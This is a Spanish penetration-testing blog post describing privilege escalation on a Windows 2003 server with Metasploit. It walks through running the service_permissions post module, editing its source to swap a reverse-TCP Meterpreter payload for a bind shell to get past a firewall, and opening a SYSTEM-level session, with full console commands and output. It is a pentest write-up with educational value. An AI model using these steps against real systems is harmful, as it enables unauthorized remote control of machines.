Jugando con Metasploit

Dan
5

Visto 4842 veces | Publicado el 16/04/2012 | pentest framework metasploit hacking vulnerabilidades


Durante el proceso de una revisión de seguridad, es preciso utilizar diversas herramientas que, de forma automática, ayudan notablemente a detectar vulnerabilidades e incluso errores de configuración. Es importante saber utilizar dichas herramientas así como comprender y conocer todas sus funcionalidades y el fundamento técnico que hay detrás de cada una de ellas. La mayoría de las veces, estas aplicaciones están diseñadas para un fin y usos específicos pero, aún así, presentan la flexibilidad y potencia suficientes como para permitir modificarlas y adaptarlas a las necesidades de la revisión de seguridad en cuestión.

Metasploit (http://www.metasploit.com/) es una de esas herramientas que permite modificar su código para adaptarla y conseguir el objetivo deseado y necesario en el transcurso de cualquier revisión.


A modo de ejemplo, recientemente, tras comprometer un equipo con Windows 2003, se disponía de un usuario pero que no era administrador local. En Metasploit, existen diferentes métodos para la elevación de privilegios todos ellos incluidos en "post/windows/escalate". En este escenario, el Sistema Operativo Windows 2003 estaba perfectamente actualizado y parcheado por lo que las opciones de Metasploit para las vulnerabilidades MS10-073 (kb layout), MS10-092 (scheduler) o MS10-015 (kitrap0d) no eran válidas. Incluso el script “getsystem” de Metasploit para elevación de privilegios a nivel de SYSTEM, tampoco era de mucha utilidad.

Era necesario escalar privilegios para obtener una cuenta de administrador o como mínimo con privilegios de Sistema (NT AUTHORITY\SYSTEM) y así poder acceder al fichero de contraseñas de Windows (SAM) o poder ejecutar determinados comandos en el sistema para obtener toda la información del mismo. Como se ha comentado anteriormente, se dispone de una sesión "Meterpreter" abierta corriendo con un usuario regular con privilegios limitados.

meterpreter > getuid
Server username: serverA\userA
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied.
meterpreter > run post/windows/escalate/ms10_073_kbdlayout
[-] Windows .NET Server (Build 3790, Service Pack 2). is not vulnerable.
En esta situación, se optó por realizar una revisión de la configuración del sistema operativo.

Otros vectores de ataque podrían ser:

- Buscar archivos en texto o de configuración que puedan contener passwords.
- Buscar por el registro de Windows para obtener contraseñas en claro.
- Realizar una evaluación del control de acceso a ficheros como System32 o archivos de inicialización.
- Revisar la configuración de los servicios.

Con la herramienta windows-privesc-check2 (http://pentestmonkey.net/tools/windows-privesc-check) se obtuvieron servicios que sí podían ser controlados con el usuario obtenido. Metasploit también incluye la opción de analizar los servicios existentes en el servidor para encontrar aquellos que permitan al usuario controlar el servicio y ejecutarlo con los permisos con los que se configuraron originalmente, posiblemente SYSTEM.

Meterpreter > background
msf exploit(handler) > use post/windows/escalate/service_permissions
Module options (post/windows/escalate/service_permissions):
Name Current Setting Required Description
---- --------------- -------- -----------
AGGRESSIVE false no Exploit as many services as possible (dangerous)
LHOST no Listener IP address for the new session
LPORT 4444 no Listener port for the new session
PAYLOAD windows/meterpreter/reverse_tcp no Windows Payload to use.
SESSION yes The session to run this module on.
msf exploit(handler) > set LPORT => 444
msf exploit(handler) > LHOST => X.X.X.X
msf exploit(handler) > SESSION => 1
msf exploit(handler) > run
[*] running
[*] Meterpreter stager executable 15872 bytes long being uploaded..
[*] Trying to add a new service...
[*] No privs to create a service...
[*] Trying to find weak permissions in existing services..
[*] No exploitable weak permissions found on Service1
[*] No exploitable weak permissions found on Service2
[*] No exploitable weak permissions found on Service3
[*] No exploitable weak permissions found on Service4
[*] No exploitable weak permissions found on Service5
[*]Service6 has weak configuration permissions - reconfigured to use exe C:\DOCUME~1\userA~1\LOCALS~1\Temp\mrVNwfeMLsd.exe.
[*] Restarting Service6
[*] Service6 restarted. You should get a system meterpreter soon. Enjoy.
[*] Post module execution completed

Según Metasploit, el servicio fue reconfigurado de forma satisfactoria y una sesión de "Meterpreter" para reverse shell debería conectarse a nuestro listener local en el puerto 444 (que es el que se ha configurado). Para complicar aún más esta revisión de seguridad, entre el equipo con Metasploit y la máquina atacada con Windows 2003 existía un firewall que no permitía "conexiones en modo reverse". Una posible solución era modificar el payload usado por el módulo de Metasploit para ver de qué forma se establece la sesión remota.

Revisando las opciones del módulo, se observa que no se hace referencia a la configuración del payload en la implementación de Meterpreter reverse shell. Una de las principales ventajas de Metasploit es que se puede leer el código de los diferentes módulos y scripts fácilmente y, por extensión, modificarlo y cambiarlo para cumplir con un determinado objetivo.

El fichero que controla los módulos de elevación de privilegios para Windows en Metasploit se encuentra en "/msf3/modules/post/windows/escalate/service_permissions" donde es el directorio donde se encuentre instalado Metasploit.

Tras revisar el código fuente, se encontró que el payload estaba controlado por la siguiente línea:

payload = datastore['PAYLOAD'] || "windows/meterpreter/reverse_tcp"

Substituyendo este payload por el Meterpreter bind shell permitiría cambiar el comportamiento y obtener el objetivo deseado, una sesión remota que no fuera “reverse shell” y que no bloqueara el firewall:

payload = datastore['PAYLOAD'] || "windows/meterpreter/bind_tcp"

También se deshabilitó la creación del listener comentando las líneas que hacen referencia y se utilizó el comando msfcli para la creación del bind handler.

Las líneas comentadas son:

# handler = session.framework.exploits.create("multi/handler")
# handler.register_parent(self)
# handler.datastore['PAYLOAD'] = payload
# handler.datastore['LHOST'] = lhost
# handler.datastore['LPORT'] = lport
# handler.datastore['InitialAutoRunScript'] = "migrate -f"
# handler.datastore['ExitOnSession'] = true
# handler.datastore['ListenerTimeout'] = 300
# handler.datastore['ListenerComm'] = 'local'

# start the session handler

#handler.exploit_module = self
# handler.exploit_simple(
# 'LocalInput' => self.user_input,
# 'LocalOutput' => self.user_output,
# 'Payload' => handler.datastore['PAYLOAD'],
# 'RunAsJob' => true
# )

Para no alterar el módulo original, se creó una copia que fue la que se modificó. Sin realizar ninguna modificación a Metasploit y para que pueda reconocer el nuevo módulo modificado es necesario reiniciar la consola de Metasploit. Una vez reiniciada “msfconsole” se puede ejecutar el nuevo módulo que en este caso se llamó “service_permissions_bind”.

msf post(service_permissions_bind) > show options
Module options (post/windows/escalate/service_permissions_bind):
Name Current Setting Required Description
---- --------------- -------- -----------
AGGRESSIVE false no Exploit as many services as possible (dangerous)
LHOST no Listener IP address for the new session
LPORT 4444 no Listener port for the new session
PAYLOAD windows/meterpreter/bind_tcp no Windows Payload to use.
SESSION yes The session to run this module on.
msf post(service_permissions_bind) > set LHOST X.X.X.X
LHOST => X.X.X.X
msf post(service_permissions_bind) > set LPORT 444
LPORT => 444
msf post(service_permissions_bind) > set SESSION 1
SESSION => 1
msf post(service_permissions_bind) > run

Una vez lanzado el nuevo módulo modificado ya es posible ejecutar el otro módulo "bind handler" para conectar a la shell cuando el servicio sea reiniciado y así obtener privilegios de SYSTEM que era lo que se necesitaba originalmente y que, antes de modificar Metasploit, no se podía:

msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/bind_tcp LPORT=444 RHOST=X.X.X.X
PAYLOAD => windows/meterpreter/bind_tcp
LPORT => 444
RHOST => X.X.X.X
[*] Starting the payload handler...
[*] Started bind handler
[*] Sending stage (752128 bytes) to X.X.X.X
[*] Meterpreter session 1 opened (Y.Y.Y.Y:54354 -> X.X.X.X:444)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

En definitiva, las herramientas deben servir como punto de partida y son de gran ayuda pero es fundamental comprender su funcionamiento. No se ha comentado cómo el modulo realiza la escalada de privilegios aunque el código que ofrece Metasploit ayuda a entender el proceso. La modificación del modulo quizás no es la más óptima pero cumple el objetivo y con las necesidades surgidas durante esta revisión de seguridad.

El siguiente paso es modificar el módulo original para permitir la elección del tipo de payload y enviarlo a Metasploit para que evalúen si los cambios merecen ser añadidos a la versión actual. Cabe destacar también que todo el proceso se puede realizar de forma manual aunque por eficiencia es recomendable acudir a este tipo de técnicas con herramientas automáticas que ahorran tiempo a pesar de que conlleven algún que otro inconveniente.


enero 01 8:38 a.m.
Intruder-T23 dijo:

Awesome!!!

noviembre 19 2:33 p.m.
hacktimes dijo:

nx0: te decimos lo mismo que en el comentario anterior, gracias por tus palabras de ánimo, un saludo.

noviembre 18 8:29 p.m.
nx0 dijo:

Siempre me ha gustado este blog por la carga técnica tan buena de sus artículos. Os sigo desde hace varios años. Seguid así y no dejéis de escribir!!!

noviembre 16 6:23 p.m.
hacktimes dijo:

Ss.: Muchas gracias por tu comentario. Cosas así son las que animan a seguir escribiendo y probando cosas. Un saludo.

noviembre 15 10:09 p.m.
Ss. dijo:

Por fin un artículo con buena redacción y descriptivo


Añadir comentario











Búsqueda

Síguenos


El staff de Hacktimes ruega a cualquier persona interesada en la distribución y/o publicación de estos artículos que lo haga sin alterar su contenido y cite a su autor y/o la fuente original. Muchas gracias.

Todos los artículos publicados se encuentran bajo la licencia Creative Commons